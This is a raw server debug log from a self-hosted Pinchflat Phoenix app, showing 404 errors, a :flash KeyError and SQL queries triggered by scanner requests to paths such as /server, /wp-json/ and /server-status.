%Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /server (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.162697.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/server", host: "pf.hornstreamingservices.com", peer: {{172, 19, 0, 1}, 37858}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "connection" => "close", "host" => "pf.hornstreamingservices.com", "user-agent" => "Mozilla/5.0 (l9scan/2.0.132323e21323e24323e22373; +https://leakix.net)", "x-forwarded-for" => "206.81.12.187", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "206.81.12.187" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pf.hornstreamingservices.com", method: "GET", owner: #PID<0.162698.0>, params: %{}, path_info: ["server"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pf.hornstreamingservices.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 19, 0, 1}, req_cookies: %{}, req_headers: [ {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pf.hornstreamingservices.com"}, {"user-agent", "Mozilla/5.0 (l9scan/2.0.132323e21323e24323e22373; +https://leakix.net)"}, {"x-forwarded-for", "206.81.12.187"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "206.81.12.187"} ], request_path: "/server", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GM1dIlSMMXvNdnsAFoLB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.162697.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/server", host: "pf.hornstreamingservices.com", peer: {{172, 19, 0, 1}, 37858}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "connection" => "close", "host" => "pf.hornstreamingservices.com", "user-agent" => "Mozilla/5.0 (l9scan/2.0.132323e21323e24323e22373; +https://leakix.net)", "x-forwarded-for" => "206.81.12.187", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "206.81.12.187" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /server (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.162697.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/server", host: "pf.hornstreamingservices.com", peer: {{172, 19, 0, 1}, 37858}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "connection" => "close", "host" => "pf.hornstreamingservices.com", "user-agent" => "Mozilla/5.0 (l9scan/2.0.132323e21323e24323e22373; +https://leakix.net)", "x-forwarded-for" => "206.81.12.187", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "206.81.12.187" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pf.hornstreamingservices.com", method: "GET", owner: #PID<0.162698.0>, params: %{}, path_info: ["server"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pf.hornstreamingservices.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 19, 0, 1}, req_cookies: %{}, req_headers: [ {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pf.hornstreamingservices.com"}, {"user-agent", "Mozilla/5.0 (l9scan/2.0.132323e21323e24323e22373; +https://leakix.net)"}, {"x-forwarded-for", "206.81.12.187"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "206.81.12.187"} ], request_path: "/server", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GM1dIlSMMXvNdnsAFoLB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, (truncated) 17:50:29.282 [info] GET / 17:50:29.282 [debug] Processing with PinchflatWeb.Pages.PageController.home/2 Parameters: %{} Pipelines: [:browser] 17:50:29.283 [debug] QUERY OK source="settings" db=0.1ms idle=952.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:50:29.283 [debug] QUERY OK source="media_profiles" db=0.1ms idle=772.5ms SELECT count(m0."id") FROM "media_profiles" AS m0 [] 17:50:29.283 [debug] QUERY OK source="sources" db=0.0ms idle=772.5ms SELECT count(s0."id") FROM "sources" AS s0 [] 17:50:29.285 [debug] QUERY OK source="media_items" db=1.3ms idle=118.5ms SELECT sum(m0."media_size_bytes") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 17:50:29.285 [debug] QUERY OK source="media_items" db=0.3ms idle=119.7ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 17:50:29.285 [debug] QUERY OK source="settings" db=0.1ms idle=2.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:50:29.286 [debug] QUERY OK source="settings" db=0.0ms idle=2.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:50:29.286 [debug] QUERY OK source="settings" db=0.0ms idle=2.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:50:29.287 [debug] QUERY OK source="tasks" db=0.1ms idle=1.8ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 17:50:29.287 [debug] QUERY OK source="media_items" db=0.2ms idle=1.9ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) [] 17:50:29.288 [debug] QUERY OK source="media_items" db=0.3ms idle=1.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 17:50:29.288 [debug] QUERY OK source="sources" db=0.1ms idle=2.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" IN (?,?)) [2, 3] 17:50:29.290 [debug] QUERY OK source="media_items" db=0.6ms idle=3.2ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) [] 17:50:29.291 [debug] QUERY OK source="media_items" db=0.8ms idle=3.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 17:50:29.291 [info] Sent 200 in 8ms 17:50:29.520 [info] GET /server 17:50:29.521 [debug] QUERY OK source="settings" db=0.2ms idle=232.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:50:29.521 [debug] QUERY OK source="settings" db=0.1ms idle=232.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:50:29.521 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 17:50:29.521 [error] #PID<0.162702.0> running PinchflatWeb.Endpoint (connection #PID<0.162701.0>, stream id 1) terminated Server: pf.hornstreamingservices.com:80 (http) Request: GET /server ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /server (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.162701.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/server", host: "pf.hornstreamingservices.com", peer: {{172, 19, 0, 1}, 37868}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "connection" => "close", "host" => "pf.hornstreamingservices.com", "user-agent" => "Mozilla/5.0 (l9scan/2.0.132323e21323e24323e22373; +https://leakix.net)", "x-forwarded-for" => "159.89.12.166", "x-forwarded-proto" => "http", "x-forwarded-scheme" => "http", "x-real-ip" => "159.89.12.166" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pf.hornstreamingservices.com", method: "GET", owner: #PID<0.162702.0>, params: %{}, path_info: ["server"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "http://pf.hornstreamingservices.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 19, 0, 1}, req_cookies: %{}, req_headers: [ {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pf.hornstreamingservices.com"}, {"user-agent", "Mozilla/5.0 (l9scan/2.0.132323e21323e24323e22373; +https://leakix.net)"}, {"x-forwarded-for", "159.89.12.166"}, {"x-forwarded-proto", "http"}, {"x-forwarded-scheme", "http"}, {"x-real-ip", "159.89.12.166"} ], request_path: "/server", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GM1dImnEQITUD8MAFoMB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.162701.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/server", host: "pf.hornstreamingservices.com", peer: {{172, 19, 0, 1}, 37868}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "connection" => "close", "host" => "pf.hornstreamingservices.com", "user-agent" => "Mozilla/5.0 (l9scan/2.0.132323e21323e24323e22373; +https://leakix.net)", "x-forwarded-for" => "159.89.12.166", "x-forwarded-proto" => "http", "x-forwarded-scheme" => "http", "x-real-ip" => "159.89.12.166" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /server (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.162701.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/server", host: "pf.hornstreamingservices.com", peer: {{172, 19, 0, 1}, 37868}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "connection" => "close", "host" => "pf.hornstreamingservices.com", "user-agent" => "Mozilla/5.0 (l9scan/2.0.132323e21323e24323e22373; +https://leakix.net)", "x-forwarded-for" => "159.89.12.166", "x-forwarded-proto" => "http", "x-forwarded-scheme" => "http", "x-real-ip" => "159.89.12.166" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pf.hornstreamingservices.com", method: "GET", owner: #PID<0.162702.0>, params: %{}, path_info: ["server"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "http://pf.hornstreamingservices.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 19, 0, 1}, req_cookies: %{}, req_headers: [ {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pf.hornstreamingservices.com"}, {"user-agent", "Mozilla/5.0 (l9scan/2.0.132323e21323e24323e22373; +https://leakix.net)"}, {"x-forwarded-for", "159.89.12.166"}, {"x-forwarded-proto", "http"}, {"x-forwarded-scheme", "http"}, {"x-real-ip", "159.89.12.166"} ], request_path: "/server", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GM1dImnEQITUD8MAFoMB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: (truncated) 17:50:30.067 [info] GET /wp-json/ 17:50:30.068 [debug] QUERY OK source="settings" db=0.1ms idle=777.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:50:30.068 [debug] QUERY OK source="settings" db=0.0ms idle=776.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:50:30.068 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 17:50:30.068 [error] #PID<0.162704.0> running PinchflatWeb.Endpoint (connection #PID<0.162703.0>, stream id 1) terminated Server: pf.hornstreamingservices.com:80 (http) Request: GET /wp-json/ ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /wp-json (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.162703.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/wp-json/", host: "pf.hornstreamingservices.com", peer: {{172, 19, 0, 1}, 37878}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/json,application/rss+xml;q=0.9,*/*;q=0.8", "accept-encoding" => "identity", "connection" => "close", "host" => "pf.hornstreamingservices.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36", "x-forwarded-for" => "46.232.235.177", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "46.232.235.177" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pf.hornstreamingservices.com", method: "GET", owner: #PID<0.162704.0>, params: %{}, path_info: ["wp-json"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pf.hornstreamingservices.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 19, 0, 1}, req_cookies: %{}, req_headers: [ {"accept", "text/html,application/json,application/rss+xml;q=0.9,*/*;q=0.8"}, {"accept-encoding", "identity"}, {"connection", "close"}, {"host", "pf.hornstreamingservices.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36"}, {"x-forwarded-for", "46.232.235.177"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "46.232.235.177"} ], request_path: "/wp-json/", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GM1dIopbD6Ef9Y8ABvMk"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.162703.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/wp-json/", host: "pf.hornstreamingservices.com", peer: {{172, 19, 0, 1}, 37878}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/json,application/rss+xml;q=0.9,*/*;q=0.8", "accept-encoding" => "identity", "connection" => "close", "host" => "pf.hornstreamingservices.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36", "x-forwarded-for" => "46.232.235.177", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "46.232.235.177" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /wp-json (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.162703.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/wp-json/", host: "pf.hornstreamingservices.com", peer: {{172, 19, 0, 1}, 37878}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/json,application/rss+xml;q=0.9,*/*;q=0.8", "accept-encoding" => "identity", "connection" => "close", "host" => "pf.hornstreamingservices.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36", "x-forwarded-for" => "46.232.235.177", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "46.232.235.177" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pf.hornstreamingservices.com", method: "GET", owner: #PID<0.162704.0>, params: %{}, path_info: ["wp-json"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pf.hornstreamingservices.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 19, 0, 1}, req_cookies: %{}, req_headers: [ {"accept", "text/html,application/json,application/rss+xml;q=0.9,*/*;q=0.8"}, {"accept-encoding", "identity"}, {"connection", "close"}, {"host", "pf.hornstreamingservices.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x (truncated) 17:50:30.188 [info] GET /server-status 17:50:30.188 [debug] QUERY OK source="settings" db=0.1ms idle=856.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:50:30.188 [debug] QUERY OK source="settings" db=0.1ms idle=667.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:50:30.188 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 17:50:30.189 [error] 